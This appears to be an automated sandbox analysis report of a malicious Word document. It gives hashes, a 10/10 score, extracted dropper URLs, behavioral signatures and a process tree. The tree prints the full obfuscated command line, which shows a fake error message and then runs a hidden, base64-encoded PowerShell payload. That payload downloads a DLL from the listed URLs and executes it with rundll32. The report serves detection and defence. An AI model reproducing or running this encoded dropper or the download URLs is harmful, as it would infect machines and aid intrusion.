Analysis
-
max time kernel
139s -
max time network
139s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
11-02-2021 19:40
Behavioral task
behavioral1
Sample
625fb60da12e4d1af4f6feb933ce621d6a2a51d59b6f24d441b633440482d32c.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
625fb60da12e4d1af4f6feb933ce621d6a2a51d59b6f24d441b633440482d32c.doc
Resource
win10v20201028
General
-
Target
625fb60da12e4d1af4f6feb933ce621d6a2a51d59b6f24d441b633440482d32c.doc
-
Size
145KB
-
MD5
9291595e34c9041583fc3f39237bed69
-
SHA1
969da17d764592dd8a037a0e50f797ed2c38445d
-
SHA256
625fb60da12e4d1af4f6feb933ce621d6a2a51d59b6f24d441b633440482d32c
-
SHA512
227d707be6d1ef1870f4069d54ce14fbadc48785cd21cd38f86c552e508fed0774e05366fd80faa304ac5b2f23c6924f0c68d1af9cd5b8c09522295e93c16438
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://buarf.com/vcds-throttle-w4z41/pqqn/
exe.dropper
http://vataas.com/3325390551/5W/
exe.dropper
https://blog.tqdesign.vn/banner/uW/
exe.dropper
https://www.abyssos.eu/wp-content/p/
exe.dropper
http://gieoduyen.vn/css/PxmtB/
exe.dropper
http://bambathamobileloans.co.za/cgi-bin/X/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3756 3676 cmd.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 22 744 powershell.exe 24 744 powershell.exe 35 744 powershell.exe 37 744 powershell.exe 39 744 powershell.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1344 rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1048 WINWORD.EXE 1048 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 744 powershell.exe 744 powershell.exe 744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 744 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 3756 wrote to memory of 2720 3756 cmd.exe msg.exe PID 3756 wrote to memory of 2720 3756 cmd.exe msg.exe PID 3756 wrote to memory of 744 3756 cmd.exe powershell.exe PID 3756 wrote to memory of 744 3756 cmd.exe powershell.exe PID 744 wrote to memory of 3152 744 powershell.exe rundll32.exe PID 744 wrote to memory of 3152 744 powershell.exe rundll32.exe PID 3152 wrote to memory of 1344 3152 rundll32.exe rundll32.exe PID 3152 wrote to memory of 1344 3152 rundll32.exe rundll32.exe PID 3152 wrote to memory of 1344 3152 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\625fb60da12e4d1af4f6feb933ce621d6a2a51d59b6f24d441b633440482d32c.doc" /o ""
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgAEMAdQAxACAAKABbAHQAWQBwAEUAXQAoACIAewAyAH0AewA0AH0AewAwAH0AewAzAH0AewAxAH0AIgAtAGYAJwBlACcALAAnAFIARQBDAHQAbwByAHkAJwAsACcAUwAnACwAJwBNAC4ASQBPAC4ARABpACcALAAnAFkAUwBUACcAKQAgACkAIAAgADsAIAAgAFMAZQB0AC0AaQBUAGUAbQAgACAAdgBBAFIASQBhAEIATABlADoAMgBvAHkAawA4ACAAKABbAHQAeQBwAEUAXQAoACIAewA1AH0AewAwAH0AewAxAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHYAaQBjACcALAAnAGUAJwAsACcAbgB0AG0AYQAnACwAJwBuACcALAAnAEEARwBFAFIAJwAsACcAcwBZAFMAdABFAG0ALgBuAGUAdAAuAHMARQByACcALAAnAHAATwBpACcAKQAgACAAKQA7ACAAIAAkAE0AeABtAGQAZQBlAHgAPQAkAEwAXwBfAEoAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFgANQA5AEkAOwAkAFgAMwA5AEsAPQAoACcAVQA4ACcAKwAnADUAUQAnACkAOwAgACAAJABDAHUAMQA6ADoAIgBDAFIAYABFAEEAVABFAGQASQByAGAARQBgAGMAdABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AEYAMAB6ADIAeAB6ACcAKwAnAGgAewAwAH0AJwArACcATgAnACsAJwBvAHUAJwArACcAbQBlAHMAbQB7ADAAJwArACcAfQAnACkALQBGACAAIABbAEMASABhAHIAXQA5ADIAKQApADsAJABSADQANABQAD0AKAAoACcARAA2ACcAKwAnADcAJwApACsAJwBNACcAKQA7ACAAKAAgAHYAQQBSAEkAYQBCAGwARQAgADIAbwB5AGsAOAAgACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBzAGAAZQBDAHUAcgBpAHQAWQBQAFIATwBgAFQAbwBDAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABYADEANABCAD0AKAAnAEYAJwArACgAJwAyADMAJwArACcAUAAnACkAKQA7ACQAWABrAG0ANQBuAG4AZAAgAD0AIAAoACcAUAAnACsAKAAnAF8ANQAnACsAJwBPACcAKQApADsAJABaADQAMgBMAD0AKAAoACcAUgAnACsAJwA5ADAAJwApACsAJwBZACcAKQA7ACQAVQB3AGUAbwA2AGUAcwA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9ACcAKwAnAEYAMAB6ADIAeAB6AGgAewAnACsAJwAwAH0ATgBvAHUAbQBlACcAKwAnAHMAbQAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAGEAUgBdADkAMgApACsAJABYAGsAbQA1AG4AbgBkACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABCADcANABSAD0AKAAoACcATAAnACsAJwA5ADMAJwApACsAJwBKACcAKQA7ACQARwA4AGoAXwBfAGIAbAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEYAYQByAHIAdwByAG0APQAoACgAJwBzACcAKwAnAGcAIAB5ACcAKQArACcAdwAgACcAKwAnAGEAJwArACgAJwBoACcAKwAnADoALwAvAGIAJwApACsAJwB1ACcAKwAoACcAYQByACcAKwAnAGYALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AJwArACgAJwB2AGMAZABzACcAKwAnAC0AdABoAHIAbwB0AHQAJwArACcAbAAnACsAJwBlAC0AJwApACsAKAAnAHcANAB6ADQAMQAvAHAAcQAnACsAJwBxAG4ALwAnACsAJwAhACcAKQArACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8AJwArACcALwAnACkAKwAnAHYAJwArACcAYQAnACsAJwB0AGEAJwArACcAYQBzACcAKwAoACcALgAnACsAJwBjAG8AJwArACcAbQAvADMAMwAnACsAJwAyADUAMwA5ADAAJwApACsAJwA1ADUAJwArACgAJwAxAC8ANQAnACsAJwBXAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQBoACcAKQArACgAJwBzADoAJwArACcALwAvACcAKwAnAGIAbABvAGcALgAnACkAKwAnAHQAJwArACgAJwBxAGQAZQAnACsAJwBzAGkAZwAnACsAJwBuAC4AdgBuACcAKwAnAC8AYgAnACkAKwAnAGEAbgAnACsAKAAnAG4AZQByAC8AJwArACcAdQAnACsAJwBXAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAJwApACsAKAAnAHkAJwArACcAdwAgAGEAJwApACsAJwBoACcAKwAoACcAcwA6ACcAKwAnAC8ALwB3ACcAKQArACgAJwB3ACcAKwAnAHcALgBhAGIAeQAnACkAKwAnAHMAcwAnACsAKAAnAG8AcwAuAGUAdQAnACsAJwAvAHcAJwArACcAcAAtAGMAJwArACcAbwBuACcAKQArACcAdAAnACsAKAAnAGUAbgAnACsAJwB0ACcAKQArACgAJwAvACcAKwAnAHAAJwArACcALwAhAHMAZwAgAHkAJwApACsAJwB3ACAAJwArACcAYQAnACsAJwBoADoAJwArACgAJwAvAC8AZwAnACsAJwBpACcAKQArACgAJwBlAG8AZAB1AHkAZQAnACsAJwBuAC4AJwArACcAdgAnACsAJwBuAC8AJwApACsAJwBjACcAKwAnAHMAJwArACcAcwAvACcAKwAoACcAUAB4ACcAKwAnAG0AdABCACcAKQArACgAJwAvACEAJwArACcAcwBnACcAKQArACcAIAB5ACcAKwAoACcAdwAnACsAJwAgAGEAaAA6ACcAKQArACgAJwAvACcAKwAnAC8AYgAnACkAKwAoACcAYQBtAGIAYQAnACsAJwB0ACcAKQArACgAJwBoAGEAJwArACcAbQBvACcAKwAnAGIAaQBsACcAKQArACgAJwBlAGwAJwArACcAbwBhAG4AJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8ALgB6ACcAKQArACgAJwBhAC8AYwBnAGkAJwArACcALQBiACcAKwAnAGkAbgAnACkAKwAnAC8AWAAnACsAJwAvACcAKQAuACIAUgBlAFAAYABMAGEAQwBFACIAKAAoACgAJwBzAGcAJwArACcAIAB5AHcAJwArACcAIAAnACkAKwAnAGEAaAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEcAOABqAF8AXwBiAGwALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBQAEwAYABJAFQAIgAoACQAWABfADgAVAAgACsAIAAkAE0AeABtAGQAZQBlAHgAIAArACAAJABRADUAOQBJACkAOwAkAFMAXwA5AFUAPQAoACgAJwBVACcAKwAnADQAMgAnACkAKwAnAFQAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABSAHQANgBoAGoAdwA3ACAAaQBuACAAJABGAGEAcgByAHcAcgBtACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABzAHkAUwB0AEUATQAuAG4ARQBUAC4AdwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABgAG8AYABXAE4AbABvAEEAYABEAGYASQBMAEUAIgAoACQAUgB0ADYAaABqAHcANwAsACAAJABVAHcAZQBvADYAZQBzACkAOwAkAEUAMgA0AEwAPQAoACcAUAAnACsAKAAnADkANwAnACsAJwBKACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAFUAdwBlAG8ANgBlAHMAKQAuACIATABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAA0ADcAMQAyADAAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAnACsAJwAyACcAKQAgACQAVQB3AGUAbwA2AGUAcwAsACgAJwBBACcAKwAoACcAbgB5AFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAG8AYABTAGAAVABSAEkAbgBHACIAKAApADsAJABTADEANABXAD0AKAAoACcAUQA1ACcAKwAnADgAJwApACsAJwBDACcAKQA7AGIAcgBlAGEAawA7ACQAWQA2ADIAWAA9ACgAJwBWADcAJwArACcAMQBLACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUAA2ADEAQQA9ACgAJwBPADQAJwArACcAMgBEACcAKQA=
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc UwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgAEMAdQAxACAAKABbAHQAWQBwAEUAXQAoACIAewAyAH0AewA0AH0AewAwAH0AewAzAH0AewAxAH0AIgAtAGYAJwBlACcALAAnAFIARQBDAHQAbwByAHkAJwAsACcAUwAnACwAJwBNAC4ASQBPAC4ARABpACcALAAnAFkAUwBUACcAKQAgACkAIAAgADsAIAAgAFMAZQB0AC0AaQBUAGUAbQAgACAAdgBBAFIASQBhAEIATABlADoAMgBvAHkAawA4ACAAKABbAHQAeQBwAEUAXQAoACIAewA1AH0AewAwAH0AewAxAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHYAaQBjACcALAAnAGUAJwAsACcAbgB0AG0AYQAnACwAJwBuACcALAAnAEEARwBFAFIAJwAsACcAcwBZAFMAdABFAG0ALgBuAGUAdAAuAHMARQByACcALAAnAHAATwBpACcAKQAgACAAKQA7ACAAIAAkAE0AeABtAGQAZQBlAHgAPQAkAEwAXwBfAEoAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFgANQA5AEkAOwAkAFgAMwA5AEsAPQAoACcAVQA4ACcAKwAnADUAUQAnACkAOwAgACAAJABDAHUAMQA6ADoAIgBDAFIAYABFAEEAVABFAGQASQByAGAARQBgAGMAdABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AEYAMAB6ADIAeAB6ACcAKwAnAGgAewAwAH0AJwArACcATgAnACsAJwBvAHUAJwArACcAbQBlAHMAbQB7ADAAJwArACcAfQAnACkALQBGACAAIABbAEMASABhAHIAXQA5ADIAKQApADsAJABSADQANABQAD0AKAAoACcARAA2ACcAKwAnADcAJwApACsAJwBNACcAKQA7ACAAKAAgAHYAQQBSAEkAYQBCAGwARQAgADIAbwB5AGsAOAAgACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBzAGAAZQBDAHUAcgBpAHQAWQBQAFIATwBgAFQAbwBDAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABYADEANABCAD0AKAAnAEYAJwArACgAJwAyADMAJwArACcAUAAnACkAKQA7ACQAWABrAG0ANQBuAG4AZAAgAD0AIAAoACcAUAAnACsAKAAnAF8ANQAnACsAJwBPACcAKQApADsAJABaADQAMgBMAD0AKAAoACcAUgAnACsAJwA5ADAAJwApACsAJwBZACcAKQA7ACQAVQB3AGUAbwA2AGUAcwA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9ACcAKwAnAEYAMAB6ADIAeAB6AGgAewAnACsAJwAwAH0ATgBvAHUAbQBlACcAKwAnAHMAbQAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAGEAUgBdADkAMgApACsAJABYAGsAbQA1AG4AbgBkACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABCADcANABSAD0AKAAoACcATAAnACsAJwA5ADMAJwApACsAJwBKACcAKQA7ACQARwA4AGoAXwBfAGIAbAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEYAYQByAHIAdwByAG0APQAoACgAJwBzACcAKwAnAGcAIAB5ACcAKQArACcAdwAgACcAKwAnAGEAJwArACgAJwBoACcAKwAnADoALwAvAGIAJwApACsAJwB1ACcAKwAoACcAYQByACcAKwAnAGYALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AJwArACgAJwB2AGMAZABzACcAKwAnAC0AdABoAHIAbwB0AHQAJwArACcAbAAnACsAJwBlAC0AJwApACsAKAAnAHcANAB6ADQAMQAvAHAAcQAnACsAJwBxAG4ALwAnACsAJwAhACcAKQArACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8AJwArACcALwAnACkAKwAnAHYAJwArACcAYQAnACsAJwB0AGEAJwArACcAYQBzACcAKwAoACcALgAnACsAJwBjAG8AJwArACcAbQAvADMAMwAnACsAJwAyADUAMwA5ADAAJwApACsAJwA1ADUAJwArACgAJwAxAC8ANQAnACsAJwBXAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQBoACcAKQArACgAJwBzADoAJwArACcALwAvACcAKwAnAGIAbABvAGcALgAnACkAKwAnAHQAJwArACgAJwBxAGQAZQAnACsAJwBzAGkAZwAnACsAJwBuAC4AdgBuACcAKwAnAC8AYgAnACkAKwAnAGEAbgAnACsAKAAnAG4AZQByAC8AJwArACcAdQAnACsAJwBXAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAJwApACsAKAAnAHkAJwArACcAdwAgAGEAJwApACsAJwBoACcAKwAoACcAcwA6ACcAKwAnAC8ALwB3ACcAKQArACgAJwB3ACcAKwAnAHcALgBhAGIAeQAnACkAKwAnAHMAcwAnACsAKAAnAG8AcwAuAGUAdQAnACsAJwAvAHcAJwArACcAcAAtAGMAJwArACcAbwBuACcAKQArACcAdAAnACsAKAAnAGUAbgAnACsAJwB0ACcAKQArACgAJwAvACcAKwAnAHAAJwArACcALwAhAHMAZwAgAHkAJwApACsAJwB3ACAAJwArACcAYQAnACsAJwBoADoAJwArACgAJwAvAC8AZwAnACsAJwBpACcAKQArACgAJwBlAG8AZAB1AHkAZQAnACsAJwBuAC4AJwArACcAdgAnACsAJwBuAC8AJwApACsAJwBjACcAKwAnAHMAJwArACcAcwAvACcAKwAoACcAUAB4ACcAKwAnAG0AdABCACcAKQArACgAJwAvACEAJwArACcAcwBnACcAKQArACcAIAB5ACcAKwAoACcAdwAnACsAJwAgAGEAaAA6ACcAKQArACgAJwAvACcAKwAnAC8AYgAnACkAKwAoACcAYQBtAGIAYQAnACsAJwB0ACcAKQArACgAJwBoAGEAJwArACcAbQBvACcAKwAnAGIAaQBsACcAKQArACgAJwBlAGwAJwArACcAbwBhAG4AJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8ALgB6ACcAKQArACgAJwBhAC8AYwBnAGkAJwArACcALQBiACcAKwAnAGkAbgAnACkAKwAnAC8AWAAnACsAJwAvACcAKQAuACIAUgBlAFAAYABMAGEAQwBFACIAKAAoACgAJwBzAGcAJwArACcAIAB5AHcAJwArACcAIAAnACkAKwAnAGEAaAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEcAOABqAF8AXwBiAGwALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBQAEwAYABJAFQAIgAoACQAWABfADgAVAAgACsAIAAkAE0AeABtAGQAZQBlAHgAIAArACAAJABRADUAOQBJACkAOwAkAFMAXwA5AFUAPQAoACgAJwBVACcAKwAnADQAMgAnACkAKwAnAFQAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABSAHQANgBoAGoAdwA3ACAAaQBuACAAJABGAGEAcgByAHcAcgBtACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABzAHkAUwB0AEUATQAuAG4ARQBUAC4AdwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABgAG8AYABXAE4AbABvAEEAYABEAGYASQBMAEUAIgAoACQAUgB0ADYAaABqAHcANwAsACAAJABVAHcAZQBvADYAZQBzACkAOwAkAEUAMgA0AEwAPQAoACcAUAAnACsAKAAnADkANwAnACsAJwBKACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAFUAdwBlAG8ANgBlAHMAKQAuACIATABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAA0ADcAMQAyADAAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAnACsAJwAyACcAKQAgACQAVQB3AGUAbwA2AGUAcwAsACgAJwBBACcAKwAoACcAbgB5AFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAG8AYABTAGAAVABSAEkAbgBHACIAKAApADsAJABTADEANABXAD0AKAAoACcAUQA1ACcAKwAnADgAJwApACsAJwBDACcAKQA7AGIAcgBlAGEAawA7ACQAWQA2ADIAWAA9ACgAJwBWADcAJwArACcAMQBLACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUAA2ADEAQQA9ACgAJwBPADQAJwArACcAMgBEACcAKQA=
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\F0z2xzh\Noumesm\P_5O.dll,AnyString
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\F0z2xzh\Noumesm\P_5O.dll,AnyString
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
00:00
00:00
Downloads
-
C:\Users\Admin\F0z2xzh\Noumesm\P_5O.dllMD5
3e1249e4d0b0b61d493da93139b9f3a4
SHA182863b73820e293793dc90da9635c390fc928ef7
SHA25603ff40768f2c5dfb8c60c977b173ab72abc0932ccd13d139115bf7f0ddcdb323
SHA5124cd7757a187ff99034347bd125e98170832e193ad13f63754f3ee1a159f0d72c59abcd2f9755869ce533c765b9664603c6c38961c49149ea042e7e6894a9aef6
-
\Users\Admin\F0z2xzh\Noumesm\P_5O.dllMD5
3e1249e4d0b0b61d493da93139b9f3a4
SHA182863b73820e293793dc90da9635c390fc928ef7
SHA25603ff40768f2c5dfb8c60c977b173ab72abc0932ccd13d139115bf7f0ddcdb323
SHA5124cd7757a187ff99034347bd125e98170832e193ad13f63754f3ee1a159f0d72c59abcd2f9755869ce533c765b9664603c6c38961c49149ea042e7e6894a9aef6
-
memory/744-13-0x000002424C4C3000-0x000002424C4C5000-memory.dmpFilesize
8KB
-
memory/744-11-0x000002424C650000-0x000002424C651000-memory.dmpFilesize
4KB
-
memory/744-14-0x000002424C4C6000-0x000002424C4C8000-memory.dmpFilesize
8KB
-
memory/744-12-0x000002424C4C0000-0x000002424C4C2000-memory.dmpFilesize
8KB
-
memory/744-8-0x0000000000000000-mapping.dmp
-
memory/744-9-0x00007FF93BB40000-0x00007FF93C52C000-memory.dmpFilesize
9MB
-
memory/744-10-0x000002424C420000-0x000002424C421000-memory.dmpFilesize
4KB
-
memory/1048-5-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/1048-6-0x00000131E3F70000-0x00000131E45A7000-memory.dmpFilesize
6MB
-
memory/1048-2-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/1048-4-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/1048-3-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/1344-17-0x0000000000000000-mapping.dmp
-
memory/2720-7-0x0000000000000000-mapping.dmp
-
memory/3152-15-0x0000000000000000-mapping.dmp